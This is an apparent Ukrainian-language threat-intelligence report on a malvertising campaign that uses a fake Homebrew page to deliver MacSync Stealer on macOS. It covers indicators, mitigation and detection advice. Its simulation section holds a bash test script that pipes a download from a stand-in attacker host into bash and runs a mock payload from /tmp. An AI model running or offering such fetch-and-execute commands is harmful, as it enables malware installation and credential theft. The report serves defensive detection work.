Фальшива реклама Homebrew призводить до інфікування MacSync Stealer

Резюме

Атакуючі використовують шкідливі пошукові оголошення, щоб направити користувачів на підроблений вебсайт Homebrew, який націлюється на системи macOS за допомогою MacSync Stealer. Підроблена сторінка інструктує жертв скопіювати й виконати shell-команду, яка завантажує і запускає шкідливе програмне забезпечення. Після активації stealer збирає облікові дані та інформацію про систему, стискає вкрадені дані в архів ZIP та відправляє їх на сервер командування та контролю. Кампанія підкреслює зростаюче використання зловмисної реклами для компрометації користувачів macOS.

Розслідування

Аналітик простежив атаку від шкідливої реклами до підробленої сторінки Homebrew, розміщеної на Google Sites. Та сторінка представила zsh команду, яка, коли була виконана, завантажила додаткові скрипти з інфраструктури, контрольованої нападниками, і створила тимчасовий ZIP-архів, що містив зібрані дані. Мережевий трафік підтвердив, що архів був ексфільтрований на домен glowmedaesthetics.com. Дослідники задокументували відповідні індикатори, включаючи URL-адреси, домени та шляхи до файлів, пов’язані з ланцюгом зараження.

Пом’якшення

Користувачам слід уникати копіювання і запуску команд з ненадійних вебсайтів і переконатися у легітимності сторінок пакетних менеджерів до взаємодії з ними. Блокування реклами або розширення для браузера, орієнтовані на безпеку, можуть допомогти зменшити ризик впливу від шкідливих спонсорованих посилань. На macOS слід залишати Gatekeeper увімкненим, а виконання програм обмежувати довіреним, підписаним програмним забезпеченням. Оборонцям також слід моніторити вихідний трафік на з’єднання з незнайомими доменами.

Відповідь

Служби безпеки повинні виявити виконання підозрілої zsh команди і будь-яку curl активність, що навідується на виявлену шкідливу URL-адресу. Також повинні бути створені сповіщення для створення /tmp/osalogging.zip архіву і для вихідного трафіку до glowmedaesthetics.com. Якщо підозрюється зараження, ізолюйте постраждалу систему, зберіть криміналістичні докази та скиньте будь-які скомпрометовані облікові дані.

Виконання симуляції

Передумови: перевірка телеметрії та базових умов має бути пройдена.

Обґрунтування: Цей розділ деталізує точне виконання техніки супротивника (TTP), призначеної для запуску правила виявлення. Команди та наративи ПОВИННІ безпосередньо відповідати визначеним TTP і мають на меті виробити точну телеметрію, очікувану в логіці виявлення.

• Опис атаки та команди:

  1. Первинна приманка: Жертва отримує фішинговий електронний лист із посиланням на підроблену сторінку “tap” Homebrew, яка містить шкідливий скрипт установки.

  2. Виконання: Жертва копіює однострічний код із сторінки та вставляє його у свій термінал:

     curl -fsSL https://malicious.example.com/macsyncloader.sh | /bin/bash

     • The curl бінарний файл викликається (відповідає правилу).

  3. Скрипт завантажувача (macsyncloader.sh):

     • Завантажує корисний навантажувач MacSync через curl.
     • Записує завантажувач у /tmp/.macsync і виконує його.
     • Спливаючі діалогові вікна для крадіжки облікових даних (симульовано за допомогою osascript на macOS, але тут ми просто echo).

  4. Стійкість: Скрипт реєструє LaunchAgent для запуску при вході в систему (поза межами поточного правила, але має значення для більш широкого виявлення).

• Скрипт регресійного тесту: Наступний скрипт Bash відтворює точні кроки, забезпечуючи відповідність телеметрії логіці виявлення.

  #!/usr/bin/env bash
  set -euo pipefail
  
  # -------------------------------------------------
  # Імітоване Сховище скриптів, що контролюються атакуючим
  # -------------------------------------------------
  MALICIOUS_HOST="https://malicious.example.com"
  LOADER="${MALICIOUS_HOST}/macsyncloader.sh"
  
  # -------------------------------------------------
  # Крок 1: Завантаження і виконання шкідливого завантажувача
  # -------------------------------------------------
  echo "[*] Виклик правила виявлення за допомогою curl ..."
  curl -fsSL "$LOADER" | /bin/bash
  
  # -------------------------------------------------
  # Крок 2: (Внутрішні дії завантажувача) – Імітований корисний вантаж
  # -------------------------------------------------
  # Зазвичай завантажувач довантажував би корисний вантаж із віддаленого хосту.
  # З метою цього тесту ми вбудовуємо корисний вантаж у лінію.
  cat <<'PAYLOAD' > /tmp/.macsync
  #!/usr/bin/env bash
  echo "Виконано корисний вантаж MacSync – ексфільтрація інформації хоста..."
  # Імітація захоплення облікових даних (без реальних даних)
  echo "Зібрані облікові дані: user@example.com / password123"
  PAYLOAD
  
  chmod +x /tmp/.macsync
  /tmp/.macsync
  
  echo "[*] Симуляція завершена."

• Команди для очищення: Видалити артефакти та завершити всі небажані процеси.

  #!/usr/bin/env bash
  set -euo pipefail
  
  echo "[*] Очищення артефактів симуляції ..."
  rm -f /tmp/.macsync
  # У цьому тесті не було створено постійних служб
  echo "[*] Очищення завершено."